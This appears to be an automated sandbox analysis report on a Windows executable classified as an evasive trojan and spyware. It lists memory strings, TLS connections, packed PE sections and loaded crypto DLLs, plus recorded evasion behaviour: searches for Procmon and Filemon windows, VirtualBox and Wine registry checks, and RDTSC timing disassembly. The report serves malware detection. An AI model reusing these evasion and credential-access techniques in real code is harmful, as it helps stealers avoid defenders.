Source: random.exe, 00000000.00000003.1181554878.000000000560C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: random.exe, 00000000.00000003.1266218601.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207283524.0000000000C5C000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1111839784.0000000000C31000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1122505747.0000000000C33000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179998048.000000000531D000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281085200.00000000052EB000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293865583.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1179973082.0000000005331000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1293819331.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.0000000005302000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1207137193.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1248633296.00000000052EA000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1180376122.0000000005305000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266149045.00000000052E1000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1307819302.00000000052F3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1266262952.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1225128551.00000000052E5000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1167125258.00000000052FC000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281110551.00000000053E3000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1281212887.0000000000BCB000.00000004.00000020.00020000.00000000.sdmp, random.exe, 00000000.00000003.1138551161.00000000052FE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com
Source: random.exe, 00000000.00000003.1207264933.00000000052E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 57686 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57687
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 57687 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 57686
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49705
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49704
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49701

Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:49701 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49703 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 23.197.127.21:443 -> 192.168.2.11:57686 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.140.127:443 -> 192.168.2.11:57687 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF59F9	0_3_00BF59F9
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C4AD0C	0_3_00C4AD0C

Source: random.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: random.exe	Static PE information: Section: ZLIB complexity 0.9989395775623269
Source: random.exe	Static PE information: Section: rhdjwvgs ZLIB complexity 0.9941870021791404

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/0@13/2

Source: C:\Users\user\Desktop\random.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: random.exe, 00000000.00000003.1123648374.0000000005317000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1150414969.000000000530C000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1150509434.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, random.exe, 00000000.00000003.1124133364.00000000052FB000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: random.exe	Virustotal: Detection: 47%
Source: random.exe	ReversingLabs: Detection: 50%

Source: C:\Users\user\Desktop\random.exe

File read: C:\Users\user\Desktop\random.exe

Jump to behavior

Source: C:\Users\user\Desktop\random.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: random.exe

Static file information: File size 1904128 > 1048576

Source: random.exe

Static PE information: Raw size of rhdjwvgs is bigger than: 0x100000 < 0x19fe00

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\random.exe

Unpacked PE file: 0.2.random.exe.110000.0.unpack :EW;.rsrc:W;.idata :W; :EW;rhdjwvgs:EW;bxvhmdee:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;rhdjwvgs:EW;bxvhmdee:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: random.exe

Static PE information: real checksum: 0x1d70f7 should be: 0x1daebb

Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: .idata
Source: random.exe	Static PE information: section name:
Source: random.exe	Static PE information: section name: rhdjwvgs
Source: random.exe	Static PE information: section name: bxvhmdee
Source: random.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00C49939 push 68B800C3h; ret	0_3_00C4993E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF71C5 push esp; ret	0_3_00BF7366
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BCB820 push esp; ret	0_3_00BCB825
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BD0503 push FFFFFFC3h; retf	0_3_00BD0505
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BCCF58 pushad ; iretd	0_3_00BCCF59
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BFD387 push ds; retf	0_3_00BFD388
Source: C:\Users\user\Desktop\random.exe	Code function: 0_3_00BF736D push ebp; ret	0_3_00BF737E

Source: random.exe	Static PE information: section name: entropy: 7.986247230629981
Source: random.exe	Static PE information: section name: rhdjwvgs entropy: 7.953383957634235

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\random.exe	Window searched: window name: Regmonclass	Jump to behavior

Source: C:\Users\user\Desktop\random.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Users\user\Desktop\random.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\random.exe

System information queried: FirmwareTableInformation

Jump to behavior

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\random.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2EF77A second address: 2EF77E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2EF77E second address: 2EF784 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2EE6D3 second address: 2EE6D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2EE6D8 second address: 2EE6E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2EE9E7 second address: 2EE9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2170 second address: 2F2174 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2174 second address: 2F217A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F217A second address: 2F2202 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB40Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c ja 00007F417D1BB41Bh 0x00000012 push edi 0x00000013 push eax 0x00000014 pop eax 0x00000015 pop edi 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F417D1BB40Fh 0x00000020 pop eax 0x00000021 je 00007F417D1BB408h 0x00000027 mov ecx, eax 0x00000029 mov edi, ebx 0x0000002b lea ebx, dword ptr [ebp+12450015h] 0x00000031 mov edi, dword ptr [ebp+122D2CE1h] 0x00000037 xchg eax, ebx 0x00000038 jo 00007F417D1BB40Eh 0x0000003e ja 00007F417D1BB408h 0x00000044 push eax 0x00000045 push esi 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007F417D1BB419h 0x0000004d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2202 second address: 2F2206 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2264 second address: 2F226A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2363 second address: 2F2369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F23BF second address: 2F24A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push edi 0x00000007 pop edi 0x00000008 jmp 00007F417D1BB419h 0x0000000d popad 0x0000000e popad 0x0000000f nop 0x00000010 jg 00007F417D1BB416h 0x00000016 call 00007F417D1BB40Fh 0x0000001b pop edi 0x0000001c push 00000000h 0x0000001e je 00007F417D1BB410h 0x00000024 push 3D699087h 0x00000029 pushad 0x0000002a jmp 00007F417D1BB40Ah 0x0000002f push ebx 0x00000030 jmp 00007F417D1BB40Ch 0x00000035 pop ebx 0x00000036 popad 0x00000037 xor dword ptr [esp], 3D699007h 0x0000003e pushad 0x0000003f push edi 0x00000040 push edx 0x00000041 pop ecx 0x00000042 pop eax 0x00000043 mov di, 2200h 0x00000047 popad 0x00000048 push 00000003h 0x0000004a mov dl, ACh 0x0000004c push 00000000h 0x0000004e mov cx, si 0x00000051 push 00000003h 0x00000053 mov esi, 7B540AE4h 0x00000058 jnp 00007F417D1BB40Ch 0x0000005e call 00007F417D1BB409h 0x00000063 jmp 00007F417D1BB419h 0x00000068 push eax 0x00000069 jbe 00007F417D1BB421h 0x0000006f jns 00007F417D1BB41Bh 0x00000075 mov eax, dword ptr [esp+04h] 0x00000079 pushad 0x0000007a push eax 0x0000007b push edx 0x0000007c push edx 0x0000007d pop edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F24A4 second address: 2F24D3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jne 00007F417CDB1D46h 0x00000010 pop edx 0x00000011 popad 0x00000012 mov eax, dword ptr [eax] 0x00000014 pushad 0x00000015 push eax 0x00000016 push edx 0x00000017 jmp 00007F417CDB1D4Ch 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F24D3 second address: 2F2505 instructions: 0x00000000 rdtsc 0x00000002 js 00007F417D1BB406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnl 00007F417D1BB408h 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 jc 00007F417D1BB406h 0x0000001e jmp 00007F417D1BB411h 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2F2505 second address: 2F250A instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2DBE83 second address: 2DBE8B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 2DBE8B second address: 2DBEAE instructions: 0x00000000 rdtsc 0x00000002 jno 00007F417CDB1D5Eh 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 311455 second address: 311470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB417h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 31162E second address: 31166A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D56h 0x00000009 popad 0x0000000a pushad 0x0000000b jnc 00007F417CDB1D46h 0x00000011 jmp 00007F417CDB1D58h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3117A6 second address: 3117C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB413h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push edi 0x00000010 pop edi 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 311A8C second address: 311A93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 311D82 second address: 311D8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F417D1BB406h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 311D8C second address: 311D92 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 311D92 second address: 311D97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 313162 second address: 313166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 313166 second address: 313191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F417D1BB40Ch 0x0000000b push edi 0x0000000c jmp 00007F417D1BB412h 0x00000011 pushad 0x00000012 popad 0x00000013 pop edi 0x00000014 push ebx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 305700 second address: 30571A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Eh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 30571A second address: 30571E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 30571E second address: 305738 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F417CDB1D6Dh 0x0000000c jbe 00007F417CDB1D48h 0x00000012 push eax 0x00000013 push edx 0x00000014 push edx 0x00000015 pop edx 0x00000016 push edx 0x00000017 pop edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 316B4B second address: 316B4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
